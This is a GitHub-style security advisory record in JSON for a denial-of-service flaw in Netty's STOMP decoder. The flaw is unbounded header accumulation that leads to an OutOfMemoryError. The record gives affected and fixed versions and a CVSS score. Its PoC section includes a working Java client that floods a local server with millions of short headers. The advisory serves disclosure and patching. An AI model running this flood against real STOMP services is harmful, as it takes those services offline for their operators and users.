{"id":"GHSA-vhch-2wf3-m8rp","summary":"Netty: Denial of Service via Unbounded Headers in StompSubframeDecoder","details":"### Summary\nThe StompSubframeDecoder fails to limit the total number of headers or their cumulative size per frame, allowing an attacker to cause an OutOfMemoryError, leading to a Denial of Service.\n\n### Details\n`io.netty.handler.codec.stomp.StompSubframeDecoder` implements the STOMP protocol. The `maxLineLength` parameter restricts the length of individual header lines, but there is no mechanism to limit the total number of headers in a single STOMP frame. An attacker can send a large number of short headers (e.g., `a: 1\\n`), which are accumulated in memory inside the `DefaultStompHeadersSubframe` until the JVM throws an OutOfMemoryError.\n\n### PoC\nRun the server with `-Xmx256m`\n\n```java\npublic final class ServerApp {\n    public static void main(String[] args) throws Exception {\n        EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());\n        try {\n            ChannelFuture serverFuture = new ServerBootstrap()\n                    .group(group)\n                    .channel(NioServerSocketChannel.class)\n                    .childHandler(new StompSubframeDecoder())\n                    .bind(8080)\n                    .sync();\n            serverFuture.channel().closeFuture().sync();\n        } finally {\n            group.shutdownGracefully();\n        }\n    }\n}\n```\n\n```java\npublic final class ClientApp {\n    public static void main(String[] args) throws Exception {\n        try (Socket socket = new Socket(\"127.0.0.1\", 8080)) {\n            OutputStream out = socket.getOutputStream();\n\n            out.write(\"CONNECT\\n\".getBytes(StandardCharsets.UTF_8));\n\n            StringBuilder sb = new StringBuilder();\n            for (int i = 0; i \u003c 1000; i++) {\n                sb.append(\"a:1\\n\");\n            }\n            byte[] bulkHeaders = sb.toString().getBytes(StandardCharsets.UTF_8);\n\n            for (int i = 1; i \u003c= 50_000; i++) {\n                out.write(bulkHeaders);\n            }\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n}\n```\n\n### Impact\nDenial of Service: An attacker can easily exhaust the server's memory by sending a single malicious STOMP message. Any server exposing a STOMP endpoint based on StompSubframeDecoder is vulnerable to DoS.","aliases":["CVE-2026-44891"],"modified":"2026-08-24T00:36:46.324739956Z","published":"2026-07-14T20:16:34Z","database_specific":{"github_reviewed_at":"2026-07-14T20:16:34Z","nvd_published_at":null,"cwe_ids":["CWE-400","CWE-770"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/netty/netty/security/advisories/GHSA-vhch-2wf3-m8rp"},{"type":"PACKAGE","url":"https://github.com/netty/netty"}],"affected":[{"package":{"name":"io.netty:netty-codec-stomp","ecosystem":"Maven","purl":"pkg:maven/io.netty/netty-codec-stomp"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.2.0.Alpha1"},{"fixed":"4.2.16.Final"}]}],"versions":["4.2.0.Alpha1","4.2.0.Alpha2","4.2.0.Alpha3","4.2.0.Alpha4","4.2.0.Alpha5","4.2.0.Beta1","4.2.0.Final","4.2.0.RC1","4.2.0.RC2","4.2.0.RC3","4.2.0.RC4","4.2.1.Final","4.2.10.Final","4.2.11.Final","4.2.12.Final","4.2.13.Final","4.2.14.Final","4.2.15.Final","4.2.2.Final","4.2.3.Final","4.2.4.Final","4.2.5.Final","4.2.6.Final","4.2.7.Final","4.2.8.Final","4.2.9.Final"],"database_specific":{"last_known_affected_version_range":"\u003c= 4.2.15.Final","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-vhch-2wf3-m8rp/GHSA-vhch-2wf3-m8rp.json"}},{"package":{"name":"io.netty:netty-codec-stomp","ecosystem":"Maven","purl":"pkg:maven/io.netty/netty-codec-stomp"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.136.Final"}]}],"versions":["4.1.0.Beta1","4.1.0.Beta2","4.1.0.Beta3","4.1.0.Beta4","4.1.0.Beta5","4.1.0.Beta6","4.1.0.Beta7","4.1.0.Beta8","4.1.0.CR1","4.1.0.CR2","4.1.0.CR3","4.1.0.CR4","4.1.0.CR5","4.1.0.CR6","4.1.0.CR7","4.1.0.Final","4.1.1.Final","4.1.10.Final","4.1.100.Final","4.1.101.Final","4.1.102.Final","4.1.103.Final","4.1.104.Final","4.1.105.Final","4.1.106.Final","4.1.107.Final","4.1.108.Final","4.1.109.Final","4.1.11.Final","4.1.110.Final","4.1.111.Final","4.1.112.Final","4.1.113.Final","4.1.114.Final","4.1.115.Final","4.1.116.Final","4.1.117.Final","4.1.118.Final","4.1.119.Final","4.1.12.Final","4.1.120.Final","4.1.121.Final","4.1.122.Final","4.1.123.Final","4.1.124.Final","4.1.125.Final","4.1.126.Final","4.1.127.Final","4.1.128.Final","4.1.129.Final","4.1.13.Final","4.1.130.Final","4.1.131.Final","4.1.132.Final","4.1.133.Final","4.1.134.Final","4.1.135.Final","4.1.14.Final","4.1.15.Final","4.1.16.Final","4.1.17.Final","4.1.18.Final","4.1.19.Final","4.1.2.Final","4.1.20.Final","4.1.21.Final","4.1.22.Final","4.1.23.Final","4.1.24.Final","4.1.25.Final","4.1.26.Final","4.1.27.Final","4.1.28.Final","4.1.29.Final","4.1.3.Final","4.1.30.Final","4.1.31.Final","4.1.32.Final","4.1.33.Final","4.1.34.Final","4.1.35.Final","4.1.36.Final","4.1.37.Final","4.1.38.Final","4.1.39.Final","4.1.4.Final","4.1.40.Final","4.1.41.Final","4.1.42.Final","4.1.43.Final","4.1.44.Final","4.1.45.Final","4.1.46.Final","4.1.47.Final","4.1.48.Final","4.1.49.Final","4.1.5.Final","4.1.50.Final","4.1.51.Final","4.1.52.Final","4.1.53.Final","4.1.54.Final","4.1.55.Final","4.1.56.Final","4.1.57.Final","4.1.58.Final","4.1.59.Final","4.1.6.Final","4.1.60.Final","4.1.61.Final","4.1.62.Final","4.1.63.Final","4.1.64.Final","4.1.65.Final","4.1.66.Final","4.1.67.Final","4.1.68.Final","4.1.69.Final","4.1.7.Final","4.1.70.Final","4.1.71.Final","4.1.72.Final","4.1.73.Final","4.1.74.Final","4.1.75.Final","4.1.76.Final","4.1.77.Final","4.1.78.Final","4.1.79.Final","4.1.8.Final","4.1.80.Final","4.1.81.Final","4.1.82.Final","4.1.83.Final","4.1.84.Final","4.1.85.Final","4.1.86.Final","4.1.87.Final","4.1.88.Final","4.1.89.Final","4.1.9.Final","4.1.90.Final","4.1.91.Final","4.1.92.Final","4.1.93.Final","4.1.94.Final","4.1.95.Final","4.1.96.Final","4.1.97.Final","4.1.98.Final","4.1.99.Final"],"database_specific":{"last_known_affected_version_range":"\u003c= 4.1.135.Final","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-vhch-2wf3-m8rp/GHSA-vhch-2wf3-m8rp.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}